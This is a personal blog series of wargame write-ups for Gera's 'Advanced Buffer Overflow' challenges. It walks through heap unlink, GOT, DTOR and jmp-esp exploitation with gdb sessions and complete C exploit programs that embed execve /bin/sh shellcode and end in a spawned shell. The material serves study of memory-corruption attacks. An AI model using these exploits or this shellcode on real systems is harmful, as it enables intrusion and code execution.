Sunday, April 3, 2011

Advanced Buffer Overflow #9

abo9 was a challenge for me and I couldn't get through it by myself. The following helped significantly:

* w00w00 on Heap Overflows
* Vudo malloc tricks
* CoreSecurity Team's Vulnerabilities in your code - Advanced Buffer Overflows

/* abo9.c                                                    *
* specially crafted to feed your brain by gera@core-sdi.com */

/* free(your mind)                                           */
/* I'm not sure in what operating systems it can be done     */

int main(int argv,char **argc) {
      char *pbuf1=(char*)malloc(256);
      char *pbuf2=(char*)malloc(256);

      gets(pbuf1);
      free(pbuf2);
      free(pbuf1);
}


Set some breakpoints.

12              free(pbuf2);
13              free(pbuf1);
14      }
(gdb) break 12
Breakpoint 1 at 0x80484fe: file abo9.c, line 12.
(gdb) break 13
Breakpoint 2 at 0x804850c: file abo9.c, line 13.
(gdb) run < of Starting program: /home/dennis/abo9/tmp/abo9 < of 

Breakpoint 1, main (argv=1, argc=0xbffffb7c) at abo9.c:12
12              free(pbuf2);
Here are the malloc data structures before any free()s.

pbuf1:

prev_size: 0x00000000
size     : 0x00000109
data     : 0x41s and shellcode

(gdb) x/10x pbuf1 - 8
0x8049690:      0x00000000      0x00000109      0x41414141      0x41414141
0x80496a0:      0x70700ceb      0x73737373      0x66666666      0x1feb6666
0x80496b0:      0x0876895e      0x4688c031

pbuf2:

prev_size: 0xfffffffc (-4)
size     : 0xfffffffc (-4 with PREV_INUSE bit unset)
data     : pieces of the fake free chunk)

fake free chunk:

prev_size: 0xfffffffc (-4)
size     : 0x0defaced (junk)
fd       : 0x080495c4 (free GOT entry - 12)
bk       : 0x080496a0 (pbuf1 data)

(gdb) x/10x pbuf2 - 8
0x8049798:      0xfffffffc      0xfffffffc      0x0defaced      0x080495c4
0x80497a8:      0x080496a0      0x00000000      0x00000000      0x00000000
0x80497b8:      0x00000000      0x00000000

Just to verify what fd and bk of the fake chunk are pointing to.

(gdb) x/x 0x080495c4 + 12
0x80495d0 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483b6
(gdb) x/x 0x080483b6
0x80483b6 <free+6>:     0x00003068

0x8049698:      0x41414141
(gdb) x/x 0x080496a0 - 8
0x8049698:      0x41414141

Execute free(pbuf2). This is where the unlink macro is used to overwrite things.

free() checks pbuf2's size field (which I control) and sees that the PREV_INUSE bit is not set. This means a neighboring chunk should be unlinked and merged with pbuf2. The neighboring chunk is calculated using pbuf2's prev_size field (which I control). In this case it is set to -4.

(gdb) x/x pbuf2
0x80497a0:      0xfffffff9
(gdb) x/x pbuf2 - 4
0x804979c:      0xfffffffc

At 0x804979c is where the fake chunk starts at.

The unlink macro looks something like this.

#define unlink(P, BK, FD) {
      BK = P->bk;
      FD = P->fd;
      FD->bk = BK;
      BK->fd = FD;
}

I visualize it like this.

P = fake_chunk
BK = fake_chunk->bk = (pbuf1)
FD = fake_chunk->fd = (got)
got + 12 = (pbuf1)
pbuf + 8 = (got)

Just to verify

(gdb) x/10x pbuf1 - 8
0x8049690: 0x00000000 0x00000109 0x41414141 0x41414141
0x80496a0: 0x70700ceb 0x73737373 0x080495c4 0x1feb6666
0x80496b0: 0x0876895e 0x4688c031

(gdb) x/x 0x080495c4 + 12
0x80495d0 <_GLOBAL_OFFSET_TABLE_+36>: 0x080496a0
(gdb) x/x 0x080496a0
0x80496a0: 0x70700ceb

That's the theory. In practice I couldn't implement it. I had to replace the gets() call with a strcpy(). The first jmp in the shellcode does contain a \x0a (\n) which would terminate the gets before everything is copied, but even making the jump longer, I couldn't get the shellcode to execute. After a long debug, I ran out of ideas.

dennis@ipa:~/abo9$ cat abo9strcpy.c                                          
/* abo9.c                                                    *
* specially crafted to feed your brain by gera@core-sdi.com */

/* free(your mind)                                           */
/* I'm not sure in what operating systems it can be done     */

int main(int argv,char **argc) {
      char *pbuf1=(char*)malloc(256);
      char *pbuf2=(char*)malloc(256);

      //gets(pbuf1);
      strcpy(pbuf1, argc[1]);
      free(pbuf2);
      free(pbuf1);
}


Here's the exploit, heavily based on the example from vudo.

#include <stdio.h>
#include <string.h>
#include <unistd.h>

/* objdump -R abo9strcpy | grep free */
#define FUNCTION_POINTER ( 0x080495ec )
/* ltrace ./abo9strcpy | grep 256 */
#define CODE_ADDRESS ( 0x080496b8 + 2*4 )

#define VULNERABLE "./abo9strcpy"
#define NEGATIVE 0xfffffffc
#define JUNK 0xdefaced

char shellcode[] =
      /* the jump instruction */
      "\xeb\x0appssssffff"
      /* the Aleph One shellcode */
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(void)
{
      char *p;
      char argv1[272 + 1];
      char *argv[] = { VULNERABLE, argv1, NULL };

      p = argv1;

      /* fill pbuf1 with padding */
      memset(p, 'A', 8);
      p += 8;

      /* copy in shellcode */
      memcpy(p, shellcode, strlen(shellcode));
      p += strlen(shellcode);

      /* fill pbuf1 with more padding */
      memset(p, 'A', 256 - 8 - strlen(shellcode));
      p += 256 - 8 - strlen(shellcode);

      /* the prev_size field of the second chunk */
      *((size_t *)p) = (size_t)(NEGATIVE);
      p += 4;

      /* the size field of the second chunk */
      /* the prev_size field of fake chunk */
      *((size_t *)p) = (size_t)(NEGATIVE);
      p += 4;

      /* the size field of the fake chunk */
      *((size_t *)p) = (size_t)(JUNK);
      p += 4;

      /* the fd field of the fake chunk */
      *((void **)p) = (void *)(FUNCTION_POINTER - 12);
      p += 4;

      /* the bk field of the fake chunk */
      *((void **)p) = (void *)(CODE_ADDRESS);
      p += 4;

      *p = '\0';

      execve(argv[0], argv, NULL);

      return -1;
}


And in action.

[dennis@localhost abo9]$ ./unlink-exp
sh-2.04$

Wednesday, January 26, 2011

Advanced Buffer Overflow #7 Redux Redux

[dennis@localhost abo8-2]$ nm -n abo8

...

08049600 B buf
08049700 A _end

On this system, when buf is in the BSS, we can't overwrite anything useful.

Instead, I'm using this post as a note to myself about overwriting GOT entries in abo7. I've appended a printf() to abo7.c.
/* abo7.c                                                  *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* sometimes you can,       *
 * sometimes you don't      *
 * that's what life's about */

char buf[256]={1};

int main(int argv,char **argc) {
        strcpy(buf,argc[1]);
        printf("printf me\n");
}

[dennis@localhost abo7-3]$ nm -n abo7

...

08049560 D buf
08049660 ? __EH_FRAME_BEGIN__
08049660 ? __FRAME_END__
08049660 d force_to_data
08049664 ? __CTOR_LIST__
08049668 ? __CTOR_END__
0804966c ? __DTOR_LIST__
08049670 ? __DTOR_END__
08049674 ? _GLOBAL_OFFSET_TABLE_

...

[dennis@localhost abo7-3]$ objdump -R abo7 | grep printf
0804968c R_386_JUMP_SLOT   printf

(gdb) x/x buf
0x8049560 :        0x00000001

(gdb) x/x 0x08049674
0x8049674 <_global_offset_table_>:      0x0804969c
(gdb) print /d 0x8049674 - 0x8049560
$2 = 276

(gdb) x/x 0x0804968c
0x804968c <_global_offset_table_+24>:   0x08048366
(gdb) x/x 0x08048366
0x8048366 <printf+6>:   0x00001868
(gdb) print /d 0x0804968c - 0x8049560
$3 = 300

GOT, 0x8049674, is 276 bytes away from buf and the printf entry, 0x0804968c is 300 bytes away.

Putting it together.
dennis@ipa:~/abo7-3$ cat exp.c7-3$ 1;2c
#include <stdio.h>
#include <string.h>

#define BUFLEN 304
#define VULN "./abo7"
/* hardcoded for simplicity, but need a better way to get this */
#define RET 0x8049560

char shellcode[] =
  /* aleph one shellcode */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()
{
  char argv1[BUFLEN + 1];
  char *p;
  char *argv[] = { VULN, argv1, NULL };

  p = argv1;

  /* nops */
  memset(p, '\x90', 16);
  p += 16;

  /* shellcode */
  memcpy(p, shellcode, strlen(shellcode));
  p += strlen(shellcode);

  /* padding */
  memset(p, 'A', (BUFLEN - 16 - strlen(shellcode) - 4));
  p += (BUFLEN - 16 - strlen(shellcode) - 4);

  /* set printf got entry */
  *((void **)p) = (void *)RET;
  p += 4;

  *p = '\0';

  execve(argv[0], argv, NULL);
  return -1;
}

[dennis@localhost abo7-3]$ ./exp
sh-2.04$

Advanced Buffer Overflow #7 Redux

[dennis@localhost abo7-2]$ nm -n abo7

...

08049520 D buf
08049620 ? __EH_FRAME_BEGIN__
08049620 ? __FRAME_END__
08049620 d force_to_data
08049624 ? __CTOR_LIST__
08049628 ? __CTOR_END__
0804962c ? __DTOR_LIST__
08049630 ? __DTOR_END__
08049634 ? _GLOBAL_OFFSET_TABLE_

...

On this system, buf is located in a place where we can overwrite the DTOR data structure.
(gdb) x/x 0x0804962c
0x804962c <__dtor_list__>:      0xffffffff
(gdb) print /x 0x0804962c + 4
$2 = 0x8049630
(gdb) x/x 0x8049630
0x8049630 <__dtor_end__>:       0x00000000
(gdb) x/x buf
0x8049520 :        0x00000041
(gdb) print /d 0x8049630 - 0x8049520
$5 = 272

DTOR starts at 0x804962c, we want to start overwritting at 0x804962c + 4 = 0x8049630. This is 272 bytes away from buf (at 0x8049520).
(gdb) run `perl -e 'print "A" x 272 . "B" x 4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/abo7-2/abo7 `perl -e 'print "A" x 272 . "B" x 4'`
Breakpoint 1, main (argv=2, argc=0xbffffa6c) at abo7.c:12
12      }
(gdb) x/x 0x0804962c
0x804962c <__dtor_list__>:      0x41414141
(gdb) x/x 0x0804962c + 4
0x8049630 <__dtor_end__>:       0x42424242

Putting it together.
dennis@ipa:~/abo7-2$ cat exp.c                                                 
#include <stdio.h>
#include <string.h>

#define BUFLEN 276
#define VULN "./abo7"
/* hardcoded for simplicity, but need a better way to get this */
#define RET 0x8049520

char shellcode[] =
        /* aleph one shellcode */
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()
{
        char argv1[BUFLEN + 1];
        char *p;
        char *argv[] = { VULN, argv1, NULL };

        p = argv1;

        /* nops */
        memset(p, '\x90', 16);
        p += 16;

        /* shellcode */
        memcpy(p, shellcode, strlen(shellcode));
        p += strlen(shellcode);

        /* padding */
        memset(p, 'A', (BUFLEN - 16 - strlen(shellcode) - 4));
        p += (BUFLEN - 16 - strlen(shellcode) - 4);

        /* set dtor */
        *((void **)p) = (void *)RET;
        p += 4;

        *p = '\0';

        execve(argv[0], argv, NULL);
        return -1;
}

[dennis@localhost abo7-2]$ ./exp
sh-2.04$

Notes: Using a jmp for a return address

Just some notes to myself about using a jmp as a return address in an exploit.
dennis@ipa:~/bof-jmp$ cat vuln.c                                               
/* plant a jmp esp to use */
void func(void)
{
        __asm__("jmp *%esp");
}

int main(int argc, char *argv[])
{
        char buf[256];

        strcpy(buf, argv[1]);
}

At 268 + 4 bytes, eip is overwritten and esp points to the start of my buffer.
(gdb) run `perl -e 'print "A" x 268 . "B" x 4 . "C" x 4'`
Starting program: /home/dennis/jmp-example/vuln `perl -e 'print "A" x 268 . "B"
x 4 . "C" x 4'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/x $esp
0xbffff9f0:     0x43434343

Need to find a suitable jmp esp instructions--avoid NULL bytes/other bad characters in the address.
root@bt:/ftphome# /pentest/exploits/framework3/msfelfscan -j esp vuln
[vuln]
0x08048463 jmp esp

Putting it together.
dennis@ipa:~/bof-jmp$ cat exp.c                                                
#include <stdio.h>
#include <string.h>

#define BUFLEN 400
#define VULN "./vuln"
#define RET 0x8048463

char shellcode[] =
        /* aleph one shellcode */
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()
{
        char argv1[BUFLEN + 1];
        char *p;
        char *argv[] = { VULN, argv1, NULL };

        p = argv1;

        /* padding */
        memset(p, 'A', 268);
        p += 268;

        /* set eip */
        //memset(p, 'B', 4);
        *((void **)p) = (void *)RET;
        p += 4;

        /* set nops -- not really needed */
        memset(p, '\x90', 16);
        p += 16;

        /* set shellcode */
        memcpy(p, shellcode, strlen(shellcode));
        p += strlen(shellcode);

        *p = '\0';

        execve(argv[0], argv, NULL);
        return -1;
}
[dennis@localhost bof-jmp]$ ./exp
sh-2.04$
When usable, using a jmp is much cleaner than hardcoding an address and on some systems--most likely nothing considered new--it can bypass some ASLR restrictions.

Tuesday, January 4, 2011

Advanced Buffer Overflow #8

Hiatus over!


/* abo8.c                                       *
* specially crafted to feed your brain by gera */

/* spot the difference */

char buf[256];

int main(int argv,char **argc) {
 strcpy(buf,argc[1]);
}


I run into the same issue as with abo7: that due to how the binary is linked together there is nothing valuable to overwrite when overflowing buf.

buf is in the .bss section:

$ nm abo8 | grep buf
08049620 B buf

.bss section starts at 0x08049600


(gdb) maintenance info sections

...

    0x08049600->0x08049720 at 0x000005e8: .bss ALLOC
    0x00000000->0x0000007e at 0x000005e8: .comment READONLY HAS_CONTENTS
    0x00000000->0x000000a8 at 0x00000668: .debug_aranges READONLY HAS_CONTENTS
    0x00000000->0x00000048 at 0x00000710: .debug_pubnames READONLY HAS_CONTENTS
    0x00000000->0x00000375 at 0x00000758: .debug_info READONLY HAS_CONTENTS
    0x00000000->0x0000010a at 0x00000acd: .debug_abbrev READONLY HAS_CONTENTS
    0x00000000->0x00000244 at 0x00000bd7: .debug_line READONLY HAS_CONTENTS
---Type  to continue, or q  to quit---
    0x00000000->0x00000030 at 0x00000e1c: .debug_frame READONLY HAS_CONTENTS
    0x00000000->0x000000ae at 0x00000e4c: .debug_str READONLY HAS_CONTENTS


and it is 288 bytes

(gdb) p/d 0x08049720-0x08049600
$1 = 288

I start seeing some segfaults at 2528 As when it starts hitting inaccessible memory:


(gdb) run `perl -e 'print "A"x2528';`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/gera/abo8/abo8 `perl -e 'print "A"x2528';`

Program received signal SIGSEGV, Segmentation fault.
0xb7ea5ba6 in strcpy () from /lib/tls/libc.so.6

(gdb) x/1000x 0x08049600

...

0x8049ff0:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a000:      Cannot access memory at address 0x804a000


Also verified by nm ordered by addresses:

$ nm -n abo8

...

08049620 B buf
08049720 A _end
$

Friday, September 17, 2010

Advanced Buffer Overflow #7

/* abo7.c *
* specially crafted to feed your brain by gera */

/* sometimes you can, *
* sometimes you don't *
* that's what life's about */

char buf[256]={1};

int main(int argv,char **argc) {
strcpy(buf,argc[1]);
}

buf is in the .data section, initialzed:

$ nm abo7 | grep buf
08049600 D buf

(gdb) x/x buf
0x8049600 : 0x00000001

.data section starts at 0x080495e0:

(gdb) maintenance info sections

...
0x080495e0->0x08049700 at 0x000005e0: .data ALLOC LOAD DATA HAS_CONTENTS
0x08049700->0x08049704 at 0x00000700: .bss ALLOC
0x00000000->0x0000007e at 0x00000700: .comment READONLY HAS_CONTENTS
0x00000000->0x000000a8 at 0x00000780: .debug_aranges READONLY HAS_CONTENTS
0x00000000->0x00000048 at 0x00000828: .debug_pubnames READONLY HAS_CONTENTS
0x00000000->0x00000375 at 0x00000870: .debug_info READONLY HAS_CONTENTS
0x00000000->0x0000010a at 0x00000be5: .debug_abbrev READONLY HAS_CONTENTS
0x00000000->0x00000244 at 0x00000cef: .debug_line READONLY HAS_CONTENTS
0x00000000->0x00000030 at 0x00000f34: .debug_frame READONLY HAS_CONTENTS
0x00000000->0x000000ae at 0x00000f64: .debug_str READONLY HAS_CONTENTS
(gdb)

and it is 288 bytes:

(gdb) p/d 0x08049700 - 0x080495e0
$1 = 288

0x80495e0 : 0x00000000 0x00000000 0x080494f4 0x00000000
0x80495f0
: 0x00000000 0x00000000 0x00000000 0x00000000

0x8049600 : 0x00000001 0x00000000 0x00000000 0x00000000

I start seeing some sort of error at 2560 As, it starts hitting unaccessible memory:


(gdb) run `perl -e 'print "A"x2560';`
Starting program: /home/dennis/gera/abo7/abo7 `perl -e 'print "A"x2560';`

Program received signal SIGSEGV, Segmentation fault.
0xb7f09ba6 in strcpy () from /lib/tls/libc.so.6

(gdb) x/1000x 0x8049600

...

0x8049ff0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804a000: Cannot access memory at address 0x804a000

Due to how the sections are linked together, nothing useful can be overwritten from where buf is. Confirmed by nm (sorted by addresses):

$ nm -n abo7
...
080495e0 D __data_start
080495e0 W data_start
080495e4 D __dso_handle
080495e8 d p.0
08049600 D buf
08049700 A __bss_start
08049700 A _edata
08049700 b completed.1
08049704 A _end

I'm guessing older versions of gcc/ld arranged it so that the .data section was above .dtors or .got and function pointer manipulation could take place.

Thursday, September 16, 2010

Advanced Buffer Overflow #6

/* abo6.c *
/* specially crafted to feed your brain by gera */

/* wwwhat'u talkin' about? */

int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
while(1);
}

stack

eip
ebp
pbuf -> malloc land
.
.
buf

I can overwrite buf with the first strcpy and point pbuf to an arbitrary address. Due to the while loop, main's return address and exit function overwrites are useless.

I can point pbuf to the saved returned address of the future strcpy (second). This strcpy will overwrite its own return address and point it back to an environment variable filled with shellcode.

Where is the future eip going to be and how do I get there?

$ gdb --quiet abo6
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x8048243: file abo6.c, line 7.
(gdb) b strcpy
Breakpoint 2 at 0x804ed43
(gdb) run `perl -e 'print "A"x268 . "BBBB"';` CCCC
Starting program: /home/dennis/gera/abo6/abo6 `perl -e 'print "A"x268 . "BBBB"';
` CCCC

Breakpoint 1, main (argv=3, argc=0xbffff4c4) at abo6.c:7
7 char *pbuf=malloc(strlen(argc[2])+1);
(gdb) x/x buf
0xbffff170: 0x00000000
(gdb) c
Continuing.

Breakpoint 2, 0x0804ed43 in strcpy ()
(gdb) info frame
Stack level 0, frame at 0xbffff150:
eip = 0x804ed43 in strcpy; saved eip 0x804827a
called by frame at 0xbffff290
Arglist at 0xbffff148, args:
Locals at 0xbffff148, Previous frame's sp is 0xbffff150
Saved registers:
ebp at 0xbffff148, eip at 0xbffff14c

buf starts at 0xbffff170. The first strcpy's saved eip is at 0xbffff14c, this will be the same location for the second strcpy.

(gdb) p/x 0xbffff170 - 0xbffff14c
$1 = 0x24

The saved eip is 0x24 (36) bytes away from buf.

(gdb) p/x 0xbffff170 - 36
$3 = 0xbffff14c

Controlling second strcpy's saved return address proof of concept:

(gdb) delete
Delete all breakpoints? (y or n) y
(gdb) b strcpy
Breakpoint 6 at 0x804ed43
(gdb) run `perl -e 'print "A"x268 . "\x4c\xf1\xff\xbf"';` AAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/gera/abo6/abo6 `perl -e 'print "A"x268 . "\x4c\xf
1\xff\xbf"';` AAAA

Breakpoint 6, 0x0804ed43 in strcpy ()
(gdb) c
Continuing.

Breakpoint 6, 0x0804ed43 in strcpy ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

When I run it out of the debugger, the addresses change (note to self, the program name length and argument name length changes offsets!). As a hack, I'll add a printf that prints the address of buf:

$ ./test `perl -e 'print "A"x268 . "BBBB"';` `perl -e 'print "CCCC"';`
buf: 0xbffff2f0
Segmentation fault

The saved eip is 36 bytes away from 0xbffff2f0

(gdb) p/x 0xbffff2f0 - 36
$3 = 0xbffff2cc

Stick shellcode into environment:

$ export ABO6=`perl -e 'print "\xeb\x14\x59\x31\xd2\xb2\x08\x31\xdb\x43\x31\xc0\
xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xffyou_win!";'`
$

Get address of environment variable:

$ cat env6.c
#include <stdio.h>

/* this progname name must be same length as abo6 */

int
main()
{
char *envaddr;

envaddr = getenv("ABO6");
printf("ABO6 is at %p\n", envaddr);
}
$ ./env6
ABO6 is at 0xbffff843

Put it all together:

$ abo6 `perl -e 'print "A"x268 . "\xcc\xf2\xff\xbf"';` `perl -e 'print "\x43\xf8\xff\xbf"';`
you_win!$